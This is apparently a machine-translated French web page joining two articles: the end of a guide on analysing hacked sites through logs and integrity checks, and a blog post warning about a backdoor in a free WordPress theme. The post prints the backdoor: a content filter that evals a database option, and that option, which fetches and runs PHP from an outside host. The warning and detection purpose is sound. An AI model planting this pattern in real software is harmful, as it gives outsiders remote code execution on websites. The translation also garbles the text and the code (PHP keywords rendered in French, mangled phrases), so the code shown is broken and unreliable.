    • L'analyse du journal de transfert FTP xferlog permet de comprendre quels fichiers ont été téléchargés au moment du piratage, lesquels ont été modifiés et par qui.
    • Dans un journal de serveur de messagerie correctement configuré ou dans l'en-tête de service d'un courrier indésirable avec le bon Configuration PHP sera le nom ou le chemin complet du script d'envoi, ce qui permet de déterminer la source du spam.
    • À l'aide des journaux de protection proactive des CMS et plugins modernes, vous pouvez déterminer quelles attaques ont été menées sur le site et si le CMS a pu y résister.
    • Grâce à access_log et error_log, vous pouvez analyser les actions d'un pirate informatique si vous connaissez les noms des scripts qu'il a appelés, l'adresse IP ou Agent utilisateur. En dernier recours, vous pouvez visualiser Requêtes POST le jour où le site a été piraté et infecté. Souvent, l'analyse permet de trouver d'autres scripts de hackers qui ont été téléchargés ou qui se trouvaient déjà sur le serveur au moment du piratage.
    Contrôle d'intégrité

    Il est beaucoup plus facile d'analyser un piratage et de rechercher des scripts malveillants sur un site Web si vous veillez à sa sécurité à l'avance. La procédure de contrôle d'intégrité permet de détecter en temps opportun les modifications apportées à l'hébergement et de déterminer le fait de piratage. L'un des plus simples et moyens efficaces– mettre le site sous système de contrôle de version (git, svn, cvs). Si vous configurez correctement .gitignore, le processus de contrôle des modifications ressemble à un défi commandes git statut et recherchez des scripts malveillants et des fichiers modifiés - git diff.

    De plus, tu auras toujours sauvegarde fichiers vers lesquels vous pouvez « restaurer » le site en quelques secondes. Les administrateurs de serveur et les webmasters avancés peuvent utiliser inotify, tripwire, auditd et d'autres mécanismes pour suivre l'accès aux fichiers et répertoires et surveiller les modifications dans le système de fichiers.

    Malheureusement, il n'est pas toujours possible de mettre en place un système de contrôle de version ou services de tiers sur le serveur. Dans le cas d'un hébergement mutualisé, il ne sera pas possible d'installer un système de contrôle de version et services système. Mais ce n'est pas grave, il y en a plein solutions prêtes à l'emploi pour le CMS. Vous pouvez installer un plugin sur le site ou script séparé, qui suivra les modifications dans les fichiers. Certains CMS mettent déjà en œuvre une surveillance efficace des modifications et un mécanisme de contrôle d'intégrité (par exemple, Bitrix, DLE). En dernier recours, si l'hébergement dispose de ssh, vous pouvez créer un casting de référence système de fichierséquipe

    ls -lahR > fichier_original.txt

    et si des problèmes surviennent, créez un nouvel instantané dans un autre fichier, puis comparez-les dans WinDiff, AraxisMerge Tool ou BeyondCompare.

    Épilogue

    Dans la plupart des cas, les développeurs de logiciels antivirus et les scanners ne suivent pas les développeurs de codes malveillants. Par conséquent, lors du diagnostic et du traitement des sites, vous ne pouvez pas vous fier uniquement aux systèmes automatisés. solutions logicielles et des scripts. Grâce à une approche heuristique, des outils riches système opérateur Et Capacités du CMS vous pouvez trouver du code malveillant que les antivirus et les scanners n'ont pas pu détecter. L’utilisation de l’analyse manuelle rend le processus de traitement du site Web meilleur et plus efficace.

    Bonjour les amis. Es-tu sûr que c'est gratuit ? Modèle WordPress, que vous utilisez pour vos sites Web et blogs, est véritablement sûr et ne contient pas menaces cachées et code malveillant ? En êtes-vous complètement sûr ? Absolument?)

    Pensez-vous que le modèle a été parcouru, supprimé ? liens cachés, et le travail est terminé. Vous analysez périodiquement les fichiers du site avec un antivirus, consultez les outils pour les webmasters Yandex dans l'onglet Sécurité et êtes soulagé d'y voir le message : « Aucun code malveillant n'a été détecté sur le site«.

    C'est ce que je pensais aussi. Je ne voudrais pas te contrarier, mais...

    Caché code dangereux dans les modèles WordPress gratuits

    C'est la lettre que j'ai reçue à la semaine dernière par email depuis votre hébergement. Récemment, ils ont introduit une vérification régulière de tous les fichiers du site pour rechercher du contenu malveillant, et ils ont trouvé ce contenu sur moi !

    Tout a commencé quand je suis allé sur mon site Web un après-midi et que je n'ai pas pu le lancer - un message abusif est apparu concernant des fichiers introuvables avec extension php. Après m'être un peu tendu, je suis allé étudier le contenu du dossier avec le site sur l'hébergement et j'ai immédiatement découvert un problème - mon fichier modèle fuctions.php a été renommé en fonctions.php.malware, ce qui semblait laisser entendre de manière ambiguë - un antivirus était je travaille ici ou quelque chose comme ça) Après être allé au courrier, j'ai trouvé le rapport ci-dessus de l'hébergeur.

    Bien entendu, la première chose que j'ai faite a été de vérifier ce fichier, étudié son contenu, analysé avec toutes sortes d'antivirus, des dizaines services en ligne pour rechercher des virus, etc. — au final, rien n'a été trouvé, tout le monde a unanimement affirmé que le dossier était totalement sécurisé. Bien sûr, j'ai fait part de mes doutes à l'hébergeur en lui disant que vous aviez raté quelque chose, mais au cas où, je lui ai demandé de fournir un rapport sur la détection d'un morceau de code malveillant.

    Et voici ce qu'ils m'ont répondu

    Je suis allé chercher des informations sur Google sur ce code et j'ai réfléchi sérieusement...

    Comment trouver un morceau de code malveillant dans un modèle

    Il s'avère qu'il s'agit d'une technique vraiment non triviale qui permet aux personnes intéressées de transmettre des données à votre site et de modifier le contenu des pages à votre insu ! Si vous utilisez un modèle gratuit, je vous recommande fortement de vérifier votre function.php pour le code suivant :

    add_filter('the_content', '_bloginfo', 10001);
    fonction _bloginfo($content)(
    poste $ global ;
    if(is_single() && ($co=@eval(get_option('blogoption'))) !== false)(
    retourner $co ;
    ) sinon renvoie $content ;
    }

    Même avec ma très faible connaissance de PHP, il est clair qu'un certain filtre est en train d'être créé, lié au global variable de poste et le contenu sont responsables de l'affichage du contenu uniquement sur les pages d'articles de blog (condition is_single). Déjà suspect, n'est-ce pas ? Eh bien, voyons maintenant ce que cela va produire. ce code sur notre site Internet.

    L’option intéressante blogoption demandée dans la base de données semble également très suspecte. Allons à notre base de données Données MySQL et trouvez-y une table appelée wp_options, si vous n'avez pas modifié les préfixes, elle ressemblera à ceci par défaut. Et on y retrouve la ligne qui nous intéresse appelée blogoption

    Quelle beauté ! Nous voyons option suivante


    return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

    Ceux. Depuis un certain site (et russe, remarquez), ils renvoient du contenu qui peut contenir n'importe quoi ! N'importe quel nombre de liens, codes malveillants, texte modifié, etc. Lorsque vous accédez au site lui-même, cela vous donne une erreur d'accès 403, ce qui n'est pas surprenant. Bien entendu, j'ai également supprimé cette option de la base de données.

    Selon les informations des victimes, le contenu exact de votre article est généralement renvoyé avec une seule modification - au lieu d'un point « ». déguisé dans le texte ouvrir le lien! Et d'ailleurs, cette possibilité est écrit dans la base de données lorsque le modèle lui-même est installé, puis le code qui effectue cela s'autodétruit avec succès. Et j'ai vécu avec de telles ordures pendant deux ans, et pas un seul antivirus ou service ne m'a identifié cette menace pendant tout ce temps. Pour être honnête, je n’ai pas remarqué si cette astuce avait déjà fonctionné pour moi, ou si mon plugin de sécurité bloquait cette fonctionnalité (ou peut-être qu’une des mises à jour de WordPress a comblé ce trou), mais c’est quand même désagréable.

    Moralité du fromage gratuit

    Comment aimez-vous la sophistication de nos « traducteurs » de modèles (ou de ceux qui les publient dans leurs catalogues) ? Ce n'est pas à vous de couper les liens du pied de page) C'est dommage que je ne me souvienne pas d'où j'ai téléchargé mon modèle, c'était il y a longtemps, sinon j'en aurais certainement écrit quelques-uns affectueux. Et si à cette époque j'avais vécu la même expérience qu'aujourd'hui, je n'aurais certainement pas utilisé modèle gratuit, ou sur cas extrême Je ne téléchargerais pas à partir de sources inconnues !

    Il est plus facile d'acheter un modèle premium officiel pour 15 à 20 dollars et de vivre en paix, sachant qu'il ne contient ni trous ni liens cryptés, et même s'il existe des vulnérabilités, les développeurs publieront certainement une mise à jour dans laquelle ces trous seront fermé. (À propos, Artem a récemment publié un article dans lequel il parle de modèles premium et distribue même des codes promotionnels pour des remises brutales pour ceux qui sont intéressés)



    Des questions ?

    Signaler une faute de frappe

    Texte qui sera envoyé à nos rédacteurs :